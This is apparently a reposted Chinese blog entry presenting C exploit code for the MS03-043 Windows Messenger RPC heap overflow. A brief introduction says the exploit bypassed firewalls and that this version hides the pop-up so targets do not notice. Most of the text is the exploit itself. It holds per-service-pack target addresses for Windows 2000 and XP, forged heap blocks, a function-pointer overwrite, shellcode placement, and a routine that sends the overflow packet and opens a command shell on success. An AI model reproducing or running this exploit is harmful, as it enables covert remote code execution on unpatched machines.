ms03-043利用代码

转自:http://hi.baidu.com/yuange1975/item/75a1bf559e29470ae6c4a5bb

 

DCOM前的通杀漏洞利用   ms03-043利用代码

 

因为可以走udp135和UDP1024以上一个动态端口,当时很多搞APT的开天网防火墙加黑冰白名单的机器也轻松能搞定。是我常说的里面那个MSG漏洞。意识到RPC的重要性后,一系列RPC成果。国内研究RPC热基本上是DCOM出来后。可惜了一些列RPC库的漏洞!

 

 

 

回来找出代码真是多次伪造头,我记得我有PEB指针版本的没找着,这个会弹出消息框。找到的是解决弹出消息框的版本,不会让人知道有攻击,但需要SP确认,覆盖函数指针,和4字节小shellcod跳转,这个刚好覆盖一个变量,控制不让弹消息框。还有一些长度的处理问题,估计是@猪儿虫小次郎 说的要解决的长度问题。

 

 
void sendoverpack()
{
int i,j;

for(i=0;i<3;++i)
{
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)sendoverstr,0,0,&j);
Sleep(6000);
}
// sendoverpack();
if(overok==3)
{
while(1) Sleep(0x7fffffff);
}
}

 

void  sendoverstr()
{
/*
* 调用远程过程
*/
int            i,j;
RPC_STATUS     status;
char buff[0x100];
//        char buffer[BUFFSIZE];
char   *buffer=LocalAlloc(LMEM_ZEROINIT,BUFFSIZE+2);
char   *buffer2=LocalAlloc(LMEM_ZEROINIT,BUFFSIZE+2);

int    funadd=RVAWIN2K+0x8310;
int    jmpshelladd=RVAWIN2K+0x8298;

 
memset(buffer,NOPCODE,SENDBUFFLEN);
if(sys_ver_num>4||sys_ver_num<0) sys_ver_num=4;

sys_ver_num=10;

if(strcmp(version,”sp0″)==0) sys_ver_num=0;
if(strcmp(version,”sp1″)==0) sys_ver_num=1;
if(strcmp(version,”sp2″)==0) sys_ver_num=2;
if(strcmp(version,”sp3″)==0) sys_ver_num=3;

if(strcmp(version,”winxp”)==0) sys_ver_num=10;
if(sys_ver_num==10)
{
funadd=RVAWINXP+0x8238;
jmpshelladd=RVAWINXP+0x8560;
}
if(sys_ver_num==3)
{
//win2k+sp3
funadd=RVAWIN2K+0x8078;
jmpshelladd=RVAWIN2K+0x811c;
}
if(sys_ver_num==2)
{   // win2k+sp2
funadd=RVAWIN2K+0x8330;
jmpshelladd=RVAWIN2K+0x82b8;
}
if(sys_ver_num==1)
{   // win2k+sp1
funadd=RVAWIN2K+0x8330;
jmpshelladd=RVAWIN2K+0x82b8;
}
if(sys_ver_num==0)
{   // win2k+sp0

funadd=RVAWIN2K+0x8310;
jmpshelladd=RVAWIN2K+0x8298;

}

if(sys_ver_num<=4)
{

i=0x0234*8;
memcpy(buffer+ADDRESS,”\x02\x01\x34\x02\x01\x01\x02″,7);   // 非空闲内存块

//   memcpy(buffer+ADDRESS+0x8,”\x80\xf2\xfd\x7f”,4);   // fun-4
//   memcpy(buffer+ADDRESS+0x0c,”\xa8\x81\xec\x74″,4);   // shelladd

memcpy(buffer+ADDRESS-i,”\x30\x01\x02\x01\x01\x20\x02\x02″,8); // 空闲内存块
*(int *)(buffer+ADDRESS-i+0x8)=funadd-4;
*(int *)(buffer+ADDRESS-i+0x0c)=jmpshelladd;   // shelladd

// memcpy(buffer+ADDRESS-i+0x8,”\xa8\x81\xec\x74″,4);   // fun-4
// memcpy(buffer+ADDRESS-i+0x0c,”\xd9\x8b\xec\x74″,4);   // shelladd

j=(0x130+0x102-0x234)*8;

memcpy(buffer+ADDRESS+j,”\x02\x01\x02\x02\x01\x20\x02\x02″,8); // 空闲内存块
*(int *)(buffer+ADDRESS+j+0x8)=0x0856ff61;
*(int *)(buffer+ADDRESS+j+0x0c)=jmpshelladd;   // shelladd

//  memcpy(buffer+ADDRESS+j+0x08,”\x90\x90\x68\xff”,4);
//  memcpy(buffer+ADDRESS+j+0x0c,”\xd9\x8b\xec\x74″,4);

i=i-0x10+j;
i=i/2;
memset(buffer+ADDRESS+j-2*i,0x14,i);
strcpy(buffer+ADDRESS+j-i,buffer+ADDRESS+j);

/*
i=strlen(buffer+ADDRESS+0x20)/2;
memset(buffer+ADDRESS+0x20,0x14,i);
memset(buffer+ADDRESS+0x20+strlen(buffer+ADDRESS+0x20)-i,0,0×10);

j=ADDRESS-j-0x100;
i=j/2;

memset(buffer+ADDRESS-2*i,0x14,i);
strcpy(buffer+ADDRESS-i,buffer+ADDRESS);
*/
/*
服务器会把0x14替换成0x0d0x0a,为了减少溢出串的长度,把空闲空间替换成0x14
*/
}

 

memset(buffer2,NOPCODE,BUFFSIZE);

i=GetShellcode(buffer2+0x10);
j=0x0eeb;
for(j=0x0eeb;j<i;j+=0x100)
{

}
memset(buffer2+i,NOPCODE,BUFFSIZE-i);
memset(buffer2+j-1,0,0×10);
i=strlen(buffer2);

//  memset(buffer+0x300-1,0,0×10);

//len=0x0ceb   0xeb  0x0c   jmp to shellcode
// eb 0c 00 00 00 00 00 00 eb 0c 00 00 t 00 90 90

if(overok==0)
{
outprintf(“\r\nsend hook test packet!\r\n”);
j=HelloProc(buffer2,”testest”,”0″);//buffer);
overok=1;
outprintf(“\r\npacket send ok! return 0x%x\r\n”,j);
if(j!=OKNUM)  j=HelloProc(“t”,”testest”,buffer);  //SEND OVER PACKET
if(j==OKNUM)
{
overok=3;
shellcmd();
}
else
{
overok=0;
j=HelloProc(buffer2,”testest”,”1″);    // SEND  HOOK PACKET
}
}

ExitThread(0);
/*

测试发现RPC利用UDP通信时,如果数据包过长,第一次可以成功,第二次RPC调用就失败了.
不过重新启动程序又可以成功发送一次.看来RPC通信的客户端处理UDP通信有问题.

*/

}

 

评论关闭。